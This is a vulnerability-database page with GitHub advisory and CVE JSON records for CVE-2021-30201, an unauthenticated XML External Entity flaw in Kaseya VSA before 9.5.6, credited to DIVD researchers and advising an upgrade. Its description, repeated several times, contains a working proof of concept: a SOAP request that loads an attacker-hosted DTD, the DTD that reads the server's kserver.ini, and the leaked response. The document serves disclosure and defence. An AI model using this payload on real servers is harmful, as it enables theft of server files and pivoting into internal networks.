github - ghsa-xx66-m4r3-r5vf

GHSA-XX66-M4R3-R5VF

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-05-24 19:07

Details

An XML External Entity (XXE) issue exists in Kaseya VSA before 9.5.6.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-30201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-09T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An XML External Entity (XXE) issue exists in Kaseya VSA before 9.5.6.",
  "id": "GHSA-xx66-m4r3-r5vf",
  "modified": "2022-05-24T19:07:22Z",
  "published": "2022-05-24T19:07:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30201"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/CVE-2021-30201"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/DIVD-2021-00011"
    },
    {
      "type": "WEB",
      "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2021-30201 (GCVE-0-2021-30201)

Vulnerability from cvelistv5 – Published: 2021-07-09 13:25 – Updated: 2024-08-03 22:24

Summary

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword>  <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

Assigner

mitre

References

URL

Tags

	https://csirt.divd.nl/2021/07/07/Kaseya-Limited-D…	x_refsource_CONFIRM
	https://helpdesk.kaseya.com/hc/en-gb/articles/360…	x_refsource_CONFIRM
	https://csirt.divd.nl/DIVD-2021-00011	x_refsource_CONFIRM
	https://csirt.divd.nl/CVE-2021-30201	x_refsource_CONFIRM

Credits

Discovered by Wietse Boonstra of DIVD Additional research by Frank Breedijk of DIVD

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T22:24:59.560Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://csirt.divd.nl/DIVD-2021-00011"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://csirt.divd.nl/CVE-2021-30201"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Discovered by Wietse Boonstra of DIVD"
        },
        {
          "lang": "en",
          "value": "Additional research by Frank Breedijk of DIVD"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 \u003csoapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:kas=\"KaseyaWS\"\u003e \u003csoapenv:Header/\u003e \u003csoapenv:Body\u003e \u003ckas:PrimitiveResetPassword\u003e \u003c!--type: string--\u003e \u003ckas:XmlRequest\u003e\u003c![CDATA[\u003c!DOCTYPE data SYSTEM \"http://192.168.1.170:8080/oob.dtd\"\u003e\u003cdata\u003e\u0026send;\u003c/data\u003e]]\u003e \u003c/kas:XmlRequest\u003e \u003c/kas:PrimitiveResetPassword\u003e \u003c/soapenv:Body\u003e \u003c/soapenv:Envelope\u003e ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` \u003c!ENTITY % file SYSTEM \"file://c:\\\\kaseya\\\\kserver\\\\kserver.ini\"\u003e \u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; error SYSTEM \u0027file:///nonexistent/%file;\u0027\u003e\"\u003e %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\\\kaseya\\\\kserver\\\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\u003csoap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\u003e\u003csoap:Body\u003e\u003csoap:Fault\u003e\u003cfaultcode\u003esoap:Server\u003c/faultcode\u003e\u003cfaultstring\u003eServer was unable to process request. ---\u0026gt; There is an error in XML document (24, -1000).\\r\\n\\r\\nSystem.Xml.XmlException: Fragment identifier \u0027######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## \u003csnip\u003e ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-04-04T06:25:20",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://csirt.divd.nl/DIVD-2021-00011"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://csirt.divd.nl/CVE-2021-30201"
        }
      ],
      "solutions": [
        {
          "lang": "en",
          "value": "Upgrade to version 9.5.6 or higher"
        }
      ],
      "source": {
        "advisory": "DIVD-2021-00011",
        "discovery": "INTERNAL"
      },
      "title": "Unauthenticated XML External Entity vulnerability in Kaseya VSA \u003c v9.5.6",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      },
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2021-30201",
          "STATE": "PUBLIC",
          "TITLE": "Unauthenticated XML External Entity vulnerability in Kaseya VSA \u003c v9.5.6"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Discovered by Wietse Boonstra of DIVD"
          },
          {
            "lang": "eng",
            "value": "Additional research by Frank Breedijk of DIVD"
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 \u003csoapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:kas=\"KaseyaWS\"\u003e \u003csoapenv:Header/\u003e \u003csoapenv:Body\u003e \u003ckas:PrimitiveResetPassword\u003e \u003c!--type: string--\u003e \u003ckas:XmlRequest\u003e\u003c![CDATA[\u003c!DOCTYPE data SYSTEM \"http://192.168.1.170:8080/oob.dtd\"\u003e\u003cdata\u003e\u0026send;\u003c/data\u003e]]\u003e \u003c/kas:XmlRequest\u003e \u003c/kas:PrimitiveResetPassword\u003e \u003c/soapenv:Body\u003e \u003c/soapenv:Envelope\u003e ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` \u003c!ENTITY % file SYSTEM \"file://c:\\\\kaseya\\\\kserver\\\\kserver.ini\"\u003e \u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; error SYSTEM \u0027file:///nonexistent/%file;\u0027\u003e\"\u003e %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\\\kaseya\\\\kserver\\\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 \u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\u003csoap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"\u003e\u003csoap:Body\u003e\u003csoap:Fault\u003e\u003cfaultcode\u003esoap:Server\u003c/faultcode\u003e\u003cfaultstring\u003eServer was unable to process request. ---\u0026gt; There is an error in XML document (24, -1000).\\r\\n\\r\\nSystem.Xml.XmlException: Fragment identifier \u0027######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## \u003csnip\u003e ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network."
            }
          ]
        },
        "generator": {
          "engine": "Vulnogram 0.0.9"
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/",
              "refsource": "CONFIRM",
              "url": "https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/"
            },
            {
              "name": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021",
              "refsource": "CONFIRM",
              "url": "https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021"
            },
            {
              "name": "https://csirt.divd.nl/DIVD-2021-00011",
              "refsource": "CONFIRM",
              "url": "https://csirt.divd.nl/DIVD-2021-00011"
            },
            {
              "name": "https://csirt.divd.nl/CVE-2021-30201",
              "refsource": "CONFIRM",
              "url": "https://csirt.divd.nl/CVE-2021-30201"
            }
          ]
        },
        "solution": [
          {
            "lang": "en",
            "value": "Upgrade to version 9.5.6 or higher"
          }
        ],
        "source": {
          "advisory": "DIVD-2021-00011",
          "discovery": "INTERNAL"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2021-30201",
    "datePublished": "2021-07-09T13:25:37",
    "dateReserved": "2021-04-07T00:00:00",
    "dateUpdated": "2024-08-03T22:24:59.560Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-XX66-M4R3-R5VF

CVE-2021-30201 (GCVE-0-2021-30201)

Tags

Sightings

Nomenclature